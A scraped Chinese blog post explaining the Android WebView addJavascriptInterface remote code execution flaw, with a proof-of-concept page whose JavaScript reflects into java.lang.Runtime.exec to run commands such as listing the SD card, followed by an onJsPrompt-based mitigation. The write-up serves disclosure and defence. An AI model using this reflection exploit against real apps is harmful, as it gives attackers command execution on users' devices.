目录 1 使用场景 2 漏洞描述 3 漏洞证明 4 解决方案 5 一些思考 最近在做一个项目过程中,发现了一个很严重的安全漏洞,这个漏洞是乌云平台报告出来的。 1,使用场景 我们很多时候要使用WebView来展示一个网页,现在很多应用为了做到服务端可控,很多结果页都是网页的,而不是本地实现,这样做有很多好处,比如界面的改变不需要重新发布新版本,直接在Server端修改就行了。用网页来展示界面,通常情况下都或多或少都与Java代码有交互,比如点击网页上面的一个按钮,我们需要知道这个按钮点击事件,或者我们要调用某个方法,让页面执行某种动作,为了实现这些交互,我们通常都是使用JS来实现,而WebView已经提供了这样的方法,具体用法如下:
mWebView.getSettings().setJavaScriptEnabled(true); mWebView.addJavascriptInterface(new JSInterface(), "jsInterface"); 我们向WebView注册一个名叫“jsInterface”的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互。 · This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
function execute(cmdArgs) { for (var obj in window) { if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } } 3,漏洞证明 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <script> var i=0; function getContents(inputStream) { var contents = ""+i; var b = inputStream.read(); var i = 1; while(b != -1) { var bString = String.fromCharCode(b); contents += bString; contents += "\n" b = inputStream.read(); } i=i+1; return contents; } function execute(cmdArgs) { for (var obj in window) { console.log(obj); if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime"). getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } } var p = execute(["ls","/mnt/sdcard/"]); document.write(getContents(p.getInputStream())); </script> <script language="javascript"> function onButtonClick() { // Call the method of injected object from Android source. var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!"); alert(text); } function onImageClick() { //Call the method of injected object from Android source. var src = document.getElementById("image").src; var width = document.getElementById("image").width; var height = document.getElementById("image").height; // Call the method of injected object from Android source. jsInterface.onImageClick(src, width, height); } </script> </head> <body> <p>点击图片把URL传到Java代码</p> <img class="curved_box" id="image" onclick="onImageClick()" width="328" height="185" src=http://www.2cto.com/uploadfile/2014/0428/20140428125852404.jpg" onerror="this.src='background_chl.jpg'"/> </p> <button type="button" onclick="onButtonClick()">与Java代码交互</button> </body> </html> 这段HTML的运行效果如下: return window[obj].getClass().forName("java.lang.Runtime"). getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); Java代码实现如下: mWebView = (WebView) findViewById(R.id.webview); mWebView.getSettings().setJavaScriptEnabled(true); mWebView.addJavascriptInterface(new JSInterface(), "jsInterface"); mWebView.loadUrl("file:///android_asset/html/test.html"); <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> 当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面) class JsObject { @JavascriptInterface public String toString() { return "injectedObject"; } } webView.addJavascriptInterface(new JsObject(), "injectedObject"); webView.loadData("", "text/html", null); webView.loadUrl("javascript:alert(injectedObject.toString())"); 2,Android 4.2以下的系统 public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) 通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢? javascript:(function JsAddJavascriptInterface_(){ if (typeof(window.jsInterface)!='undefined') { console.log('window.jsInterface_js_interface_name is exist!!');} else { window.jsInterface = { onButtonClick:function(arg0) { return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]})); }, onImageClick:function(arg0,arg1,arg2) { prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]})); }, }; } } )() 说明: · onLoadResource · doUpdateVisitedHistory · onPageStarted · onPageFinished · onReceivedTitle · onProgressChanged 目前测试了这几个地方,没什么问题,这里我也不能完全确保没有问题。 "getClass", "hashCode", "notify", "notifyAll", "equals", "toString", "wait", |
-
上一篇: Webshell下命令执行限制及绕过方法 - 网站安全 -
下一篇: UC浏览器HD版本远程代码执行漏洞 - 网站安全 - 自
还没有人抢沙发呢~